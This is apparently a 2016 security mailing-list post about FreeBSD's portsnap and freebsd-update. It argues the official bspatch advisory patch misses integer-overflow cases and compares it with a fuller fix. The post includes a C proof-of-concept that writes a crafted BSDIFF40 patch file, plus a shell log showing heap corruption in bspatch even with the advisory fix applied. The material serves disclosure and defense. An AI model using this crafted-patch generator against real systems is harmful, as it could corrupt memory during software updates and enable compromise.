freebsd-update and portsnap users still at risk of compromise

On July 18, John Leyden, security editor at The Register, tweeted a link
to a libarchive ticket that had been sitting without a response for
almost a week.

tweet: https://twitter.com/jleyden/status/755016810865582081
libarchive ticket: https://github.com/libarchive/libarchive/issues/743

The ticket creator quoted an AV researcher who was likely posting to one
of the many early-alert vendor lists in the age of infosec balkanization
(IOW, a "courtesy heads-up" to FreeBSD users forking them money):

[QUOTE]
Our AV researchers have analyzed the following link that was cloud-
submitted as suspect:

https://gist.github.com/anonymous/e48209b03f1dd9625a992717e7b89c4f

The document is from an unknown author and describes "non-cryptanalytic
attacks against FreeBSD update components." The affected components are
the portsnap and freebsd-update tools, both directly and indirectly.

 From what we can tell, the text file is part of a larger stash of
documents, all with the same attack-defense style. We have other
documents, dated 2014 and 2015, detailing attacks against the update
systems of multiple Linux distributions and the corresponding defenses
against "the adversary."

We believe this to be the work of an MITM-capable advanced threat actor.

Full details of our findings will be released in the coming weeks. This
is a courtesy heads-up to FreeBSD users.
[/QUOTE]

Another poster confirmed some of the attacks:

[QUOTE]
Here via John Leyden's tweet.

I don't have the time to test the portsnap attacks, but I can confirm
that the libarchive/tar and bspatch attacks work on our 10.x machines,
and I'm happy to test any libarchive/tar fixes.

Judging by the painstaking amount of work put into the bspatch exploit
especially, I think it's highly unlikely that the creator lacks the
means to deploy it via mitm. Otherwise, I've never seen anything like
this in terms of apparent work/reward. It would be comical if it weren't
so horrifying. Think of all those locked-down fbsd machines that have no
external-facing daemons/services and that perform only updates. Our
telecommunications floor alone has several dozen.

Someone needs to alert the fbsd mailing lists (-current, -security?)
pronto. I'd rather not mail them myself from work. And we should also
get more details on the linux distributions.
[/QUOTE]

I've been analyzing the document extensively since then. The targets are
as follows:

[1] portsnap via portsnap vulnerabilities
[2] portsnap via libarchive & tar anti-sandboxing vulnerabilities
[3] portsnap via bspatch vulnerabilities
[4] freebsd-update via bspatch vulnerabilities

Nothing has appeared in any official FreeBSD source about [1]. The
libarchive developers have finally confirmed [2] and are presumably
working on fixes.

A FreeBSD advisory just appeared for [3] & [4] (bspatch), but users
should be aware that running freebsd-update exposes their machines to
the very vulnerability it's correcting (a not insignificant fact that
was omitted from the advisory). Here's why:

[QUOTE]
  * The bspatch(1) utility is executed before SHA256 verification in both
  * freebsd-update(8) and portsnap(8).
[/QUOTE]

Even worse, the patch in the FreeBSD advisory is insufficient to prevent
heap corruption. I compared the patch in the FreeBSD advisory with the
"defense" patch in the document, and the former contains only a subset
of the checks in the latter. The document patch is in some ways cautious
to an insanely paranoid degree, mistrusting the error-checking stability
of system libraries and defending against compiler quirks that probably
won't exist in compiler optimization intelligence for many years, if
ever, though as a developer of clang-based static analyzers, I did take
an interest in one of the more usual integer-overflow culprits:

[ADVISORY PATCH - CONTAINS ONLY A SUBSET OF DOCUMENT PATCH]
                 /* Sanity-check */
+               if ((ctrl[0] < 0) || (ctrl[1] < 0))
+                       errx(1,"Corrupt patch\n");
+
+               /* Sanity-check */
                 if(newpos+ctrl[0]>newsize)
                         errx(1,"Corrupt patch\n");
[/ADVISORY PATCH]

[DOCUMENT PATCH - THE CORRESPONDING PORTION]
  		/* Sanity-check */
-		if(newpos+ctrl[0]>newsize)
-			errx(1,"Corrupt patch\n");
+		if((ctrl[0]<0) || (ctrl[0]>INT_MAX) ||
+			(newpos>OFF_MAX-ctrl[0]) || (newpos+ctrl[0]>newsize))
+				errx(1,"Corrupt patch\n");

-		/* Read diff string */
+		/* Read diff string - 4th arg converted to int */
  		lenread = BZ2_bzRead(&dbz2err, dpfbz2, new + newpos, ctrl[0]);
  		if ((lenread < ctrl[0]) ||
  		    ((dbz2err != BZ_OK) && (dbz2err != BZ_STREAM_END)))
  			errx(1, "Corrupt patch\n");
[/DOCUMENT PATCH]

The ctrl[1] checks in the document patch are similar.

The basic idea is that for

if(newpos+ctrl[0]>newsize)

and

if(newpos+ctrl[1]>newsize)

it's not enough to block a negative ctrl[]. That will stop the exploit
given, but it won't stop additional exploits. The document patch defends
against additional exploits, namely those based on newpos+ctrl[]
overflowing via a large ctrl[] to bypass the check. The canonical large
value I use below is 0x7fffffff7fffffff, which is both off_t nonnegative
and int nonnegative (when truncated in BZ2_bzRead). The document patch
defends against this truncation trickery as well.

To demonstrate the problem, I wrote the code below. Examine it on a
FreeBSD x64 machine under gdb, valgrind, or whatever, even with the
advisory patch applied.

[CODE]
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <bzlib.h>
#include <sys/types.h>

int main(int argc, char **argv)
{
   unsigned char oct;
   char buff[100000];
   char c[72]=
   "\x00\x00\x00\x00\x00\x00\x00\x00"
   "\xff\xff\xff\x7f\x00\x00\x00\x00"
   "\x00\x00\x00\x00\x00\x00\x00\x00"
   "\x00\x00\x00\x00\x00\x00\x00\x00"
   "\x02\x00\x00\x00\x00\x00\x00\x00"
   "\x00\x00\x00\x00\x00\x00\x00\x00"
   "\x00\x00\x00\x00\x00\x00\x00\x00"
   "\xff\xff\xff\x7f\xff\xff\xff\x7f"
   "\x00\x00\x00\x00\x00\x00\x00\x00";
   char *e=calloc(1,0x8fffffff);
   if(!e) return 1;
   unsigned l,tmp;
   int comp=atoi(argv[1]);
   int fd=open(argv[2],O_WRONLY|O_CREAT|O_TRUNC,0666);
   write(fd,"BSDIFF40",8);
   l=sizeof(buff);
   BZ2_bzBuffToBuffCompress(buff,&l,c,sizeof(c),comp,0,0);
   tmp=l;
   for(int i=0;i<8;i++){oct=tmp&0xff;write(fd,&oct,1);tmp>>=8;}
   write(fd,"\x00\x00\x00\x00\x00\x00\x00\x00",8);
   write(fd,"\x02\x00\x00\x80\x00\x00\x00\x00",8);
   write(fd,buff,l);
   l=sizeof(buff);
   BZ2_bzBuffToBuffCompress(buff,&l,e,0x8fffffff,comp,0,0);
   write(fd,buff,l);
   close(fd);
   free(e);
   return 0;
}
[/CODE]

[ms_at_dev4 ~/patch]$ cc -o bp bp.c -lbz2
[ms_at_dev4 ~/patch]$ echo 123 > old
[ms_at_dev4 ~/patch]$ ./bp 1 patch
[ms_at_dev4 ~/patch]$ bspatch old new patch
Segmentation fault (core dumped)
[ms_at_dev4 ~/patch]$ ./bp 9 patch
[ms_at_dev4 ~/patch]$ bspatch old new patch
bspatch: Corrupt patch

Counterintuitively, the segfault case is (currently) less dangerous than
the error case. This is because the segfault arises from harmlessly
trashing the heap until an unmapped page is hit (though you never know
what the future - or creativity - brings). But taking a cue from a
comment in the exploit, I bumped up the compression to level 9, which
positioned a lot of libbz2 internal data after the buffer. This data
gets overwritten and could very likely be finessed to dangerous effect.
The error message is simply because after pulling out my hair to figure
out bspatch, I had no desire to follow the author down the rabbit hole
of bzip2/jemalloc/libc internals, which shall remain for me black magic.

Martin Schroeder

-------------------------------------------------

ONLY AT VFEmail! - Use our Metadata Mitigator to keep your email out of the NSA's hands!
$24.95 ONETIME Lifetime accounts with Privacy Features!  
15GB disk! No bandwidth quotas!
Commercial and Bulk Mail Options!